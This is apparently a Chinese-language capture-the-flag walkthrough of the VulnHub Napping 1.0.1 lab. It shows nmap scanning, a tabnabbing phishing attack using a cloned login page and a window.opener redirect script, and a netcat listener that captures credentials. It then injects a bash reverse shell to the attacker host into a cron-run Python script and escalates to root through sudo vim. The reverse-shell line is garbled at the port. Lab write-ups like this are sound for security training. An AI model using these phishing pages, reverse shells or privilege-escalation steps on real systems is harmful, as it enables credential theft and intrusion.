下载地址:https://www.vulnhub.com/entry/napping-101,752/选择镜像文件进行下载。下载后解压是一个ova文件,在虚拟机中选择-打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。
文件名: napping-1.0.1.ova
文件大小: 2.0 GB
MD5: D2CDF58FACB576407CF564064E8D554D
SHA1: CADB7B6A524718EA366B5BE5753E0AC622FC8973
1. 设置虚拟机网络为 NAT 模式
在 VMware 中,将 Kali Linux 和 靶机 都设置为 NAT 模式,以确保它们能通过宿主机共享网络连接。
2. 启动靶机并进入单用户模式
启动靶机,在出现蓝色引导界面时,按下 e 键进入编辑模式(若无法进入编辑模式,长按shift进入引导页面再按e进入)。
3. 修改启动参数
在编辑界面中,找到并修改启动项,将包含的 ro(只读)修改为 rw(读写),并且在参数末尾添加signie init=/bin/bash,使其进入单用户模式。
这样修改后,按下 Ctrl + X 启动系统。
4. 查看网络状态
进入单用户模式后,使用 ifconfig 命令查看网络状况,发现系统提示 ifconfig 命令不可用。
切换使用 ip address 命令来查看网络接口的状态。
5. 修改网卡名称
发现网络接口的名称为 enp0s3,需要将其修改为 ens33。
进入网络配置文件进行修改:vim /etc/network/interfaces 发现不存在该文件。
这种情况是因为netplan软件接管了网卡管理,进入/etc/netplan文件夹下,就可以看到一个00-netplan.yaml文件之类的配置文件,修改该文件的网络接口名称。
6. 保存并退出
在 vim 编辑器中,修改完成后按 Esc 键,输入 :wq 保存并退出。
7. 完成配置并重启系统
完成网络配置后,进行系统关机并重启。注意: 必须关机重启,而不是仅仅重启网络服务,因为有些端口可能尚未打开,只有重启系统后,端口才会完全生效。
获取root用户。flag文件两个。
adrian用户:user.txt
root用户:root.txt
确定IP地址、端口扫描、框架扫描、网站访问、功能测试。
使用用nmap确定该靶场IP地址,地址为:192.168.241.156
nmap -sP 192.168.240.0/24
使用nmap扫描,发现开放22和80端口。
nmap -sV -v -T4 -A192.168.241.156
扫描结果显示,该目标IP运行的是Apache Web服务器(版本2.4.41),且该网站使用Bootstrap前端框架(版本4.5.2)
该网站提供一个登录界面,使用PHPSESSID跟踪会话,且具有一个名为password的密码输入框。此目标站点也没有明确的国家信息,且在Ubuntu Linux操作系统上运行。
访问http://192.168.241.156,发现登录窗口和注册窗口。
使用admin/admin123注册一个账户,进行登录访问。
在博客链接处,输入任何链接,都会跳转到所对应的网站。
例如:https://www.baidu.com,输入后会存储到herf,并且提供‘Here’点击即可完成跳转。
由此可见,该站点上的此特定 URL 链接功能容易受到 Tab Nabbing 的攻击。
制作钓鱼页面、开启http服务、开启端口监听、SSH连接。
实现tabnabbing钓鱼原理。
使用正常网站A的a标签设置为恶意网站B,恶意网站B中利用window.opener修改原先页面A页面,进而无征兆把访问正常网站A页面修改为钓鱼网站C页面。
两个可以利用点:
1、使用a标签,并且target=_blank,没有使用rel="noopener/noreferrer"属性
2、使用window.open
还需要准备两个页面,一个是恶意页面,一个是正常访问页面。恶意页面作为跳转页面,将会跳转到正常访问页面使其访问。正常页面为了以假乱真,我们将靶场登录页面复制下来。
复制靶场登录页面,作为login.html页面。
<htmllang="en">
<head>
<metacharset="UTF-8">
<title>Login</title>
<linkrel="stylesheet"href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style>
body{ font: 14px sans-serif; }
.wrapper{ width: 360px; padding: 20px; }
</style>
</head>
<body>
<divclass="wrapper">
<h2>Login</h2>
<p>Please fill in your credentials to login.</p>
<formaction="/index.php"method="post">
<divclass="form-group">
<label>Username</label>
<inputtype="text"name="username"class="form-control "value="">
<spanclass="invalid-feedback"></span>
</div>
<divclass="form-group">
<label>Password</label>
<inputtype="password"name="password"class="form-control ">
<spanclass="invalid-feedback"></span>
</div>
<divclass="form-group">
<inputtype="submit"class="btn btn-primary"value="Login">
</div>
<p>Don't have an account? <ahref="register.php">Sign up now</a>.</p>
</form>
</div>
</body>
</html>
制作一个恶意页面welcome.html,将制作好的login.html访问地址包含在里面。
注意,需要添加端口,端口号与后续端口监听保持一致。
<html>
<title>welcome 欢迎访问</title>
<body>
<script>
if (window.opener) window.opener.parent.location.replace('http://192.168.241.138:9876/login.html');
</script>
</body>
</html>
在攻击机开启临时http服务。
python -m http.server 80
访问welcome.html,复制该地址,将其放入博客链接提交页面。
nc -lvvp 9876
提交博客链接,等待监听结果。
监听成功,发现用户名和密码。
用户名:daniel
密码:C%40ughtm3napping123
URL解码:C@ughtm3napping123
因靶场开启22端口,使用SSH连接成功。
通过“id”命令,查看用户所在组,发现在administrators组里面。
访问welcome.html,复制该地址,将其放入博客链接提交页面。
查找可用程序、反弹shell、获得root用户权限。
查找administrators组有哪些可用文件,发现query.py文件,在adrian用户目录下。
find / -group administrators 2>/dev/null
查看该文件信息。发现是检查该站点能否正常访问,并记录到相关文件夹。
查看site_status.txt文件,发现记录的日志时间差为2分钟。
user.txt文件因权限不够,无法查看。
因query.py文件每两分钟执行一次。那就写一个shell文件,并更改query.py文件内容,让其执行shell文件,即可完成反弹监听。
在daniel用户目录下写一个shell.sh文件。
/bin/bash -i >&/dev/tcp/192.168.241.138/96350>&1
更改一下query.py文件内容
import os
os.system('/usr/bin/bash /home/daniel/shell.sh')
开启端口监听,等待一会即可反弹成功。
反弹后用户为adrian。
创建交互式shell。
python3 -c 'import pty;pty.spawn("/bin/bash")'
查看user.txt文件内容,内容表示很快就能拿到。
查看sudo有什么权限。发现/usr/bin/vim,且不需要密码就可以使用root身份运行vim。
执行命令,即可获得root用户。
sudo /usr/bin/vim -c ':!/bin/sh'
查看root用户下root.txt文件。
免责声明
本公众号“暗魂攻防实验室”致力于分享网络安全相关知识及资讯,所有内容仅供学习和交流使用,不得用于任何非法用途。由于传播、利用本公众号“暗魂攻防实验室”所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任!!!
以下为本公众号声明内容,请知悉并遵守:
1.关于信息的准确性
本公众号所发布的信息均来源于公开渠道或作者整理,仅供参考,不保证内容的绝对准确性、完整性和时效性。使用者在依赖相关内容前,应独立核实信息的真实性和适用性。
2.法律与合规性
使用者应严格遵守国家相关法律法规,确保所有操作仅用于合法用途。本公众号明确禁止任何利用内容进行非法活动的行为,由此产生的后果由使用者自行承担,本公众号及作者不承担任何责任。
3.版权声明
本公众号部分内容如引用了他人作品或资源,均已标注来源或作者。如有侵权,请及时联系我们,我们将在核实后立即删除并致以歉意。
4.合法用途限制
本公众号内容仅供参考,任何利用本公众号内容从事违法行为的后果均由使用者自行承担,本公众号及作者对此不承担任何责任。
5.风险告知
因使用或传播本公众号内容导致的直接或间接后果(如系统损坏、数据丢失、法律责任等),均由使用者自行承担。本公众号及作者对此不承担任何责任。
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】napping-1.0.1靶场渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论